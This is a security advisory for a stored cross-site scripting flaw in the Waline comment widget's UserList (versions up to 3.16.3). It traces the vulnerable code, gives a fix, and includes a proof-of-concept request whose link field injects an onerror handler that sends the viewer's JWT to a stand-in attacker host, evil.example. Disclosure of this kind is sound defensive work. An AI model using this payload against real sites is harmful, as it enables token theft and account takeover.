Vulnerability GHSA-7w94-hxwm-gg99

High Risk
HIGH RISK
CVSS Score: 7.2
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
14 hours ago
December 02, 2026 at 10:34 PM UTC
Waline: UserList stored XSS via unescaped commenter fields
<=3.16.3
<=3.16.3

Summary

Waline: UserList stored XSS via unescaped commenter fields

Details

Summary

The @waline/client UserList widget builds its DOM by concatenating server-returned commenter fields directly into root.innerHTML with no HTML escaping.

The commenter nick and link are stored and returned verbatim by the server (only the comment body is sanitized), and the link field is never sent to the spam filter.

So an unauthenticated visitor who posts a comment with link = x"><img src=x onerror=...> achieves stored cross-site scripting that executes, with no interaction, in the browser of every visitor to a page that embeds the UserList widget.

Details

packages/client/src/widgets/userList.ts:106-133 builds root.innerHTML by concatenating user.nick (as element content at :117 and in the aria-label/alt attributes), user.link (in the <a href> and as content at :125), user.avatar, and user.label, all with no escaping. A commenter link of x"><img src=x onerror=...> breaks out of the href attribute and injects a live element.

packages/client/src/widgets/recentComments.ts:73-78 has the identical unescaped-innerHTML pattern for comment.nick/comment.url, but it is NOT reachable as shipped: its client getRecentComment returns the wrapped {errno,data} object without unwrapping .data, so the comments.length > 0 guard is false and the widget renders nothing. The live sink is UserList.

On the server the fields are never escaped:

  • packages/server/src/logic/comment.js validates only url and comment (both as strings); nick and link have no rule.
  • packages/server/src/controller/comment.js postAction stores nick/link/url verbatim (:98-111, add(data) :215), and getRecentCommentList (:647-705) returns them via formatCmt, which never HTML-escapes them.
  • packages/server/src/controller/user.js:280-300 builds the UserList response for anonymous commenters by reading { nick, link } straight off a comment row.

Only comment.comment is sanitized (controller/comment.js:55, markdown-it -> DOMPurify). nick, link, and url are the injection points.

By default an anonymous comment is stored status=approved (config.js:124 audit defaults to false). Akismet ships a built-in DEFAULT_KEY, so on a networked default server it is active and spam-filters an <img onerror> in nick or the comment body; the link field is never sent to Akismet, so it is the robust out-of-the-box injection point. The nick field fires when Akismet is disabled or unreachable.

Proof of concept

  1. As an anonymous user, post a comment via POST /api/comment with link set to the payload:
POST /api/comment
{ "url": "/any-post", "comment": "hi", "nick": "a", "link": "x\"><img src=x onerror=fetch('//evil.example/'+JSON.parse(localStorage.WALINE_USER).token)>" }
  1. On any page that embeds the UserList widget, the widget concatenates link straight into root.innerHTML with no escaping, so onerror fires for every visitor with no interaction. The nick field is equally injectable but reaches the widget only when Akismet is disabled, since Akismet filters it by default.

The default comment list (CommentCard) is not affected; it renders nick through Vue {{ }} and normalizes link through isLinkHttp.

Impact

Arbitrary script in the widget's origin against an anonymous viewer: defacement, redirect, phishing, and CSRF-on-behalf.

When a logged-in user or administrator views the widget, the injected script can read the waline JWT (kept in same-origin localStorage), escalating to account or administrator takeover.

Suggested fix

HTML-escape every interpolated user field in both widgets; leave comment.comment as is (already server-sanitized).

Additionally consider routing url/link through the existing isLinkHttp normalization to also block javascript: schemes in the click-gated href.

Impacted packages

Timeline

Published
14 hours ago
December 02, 2026 at 10:34 PM UTC
Last Modified
14 hours ago
December 02, 2026 at 10:45 PM UTC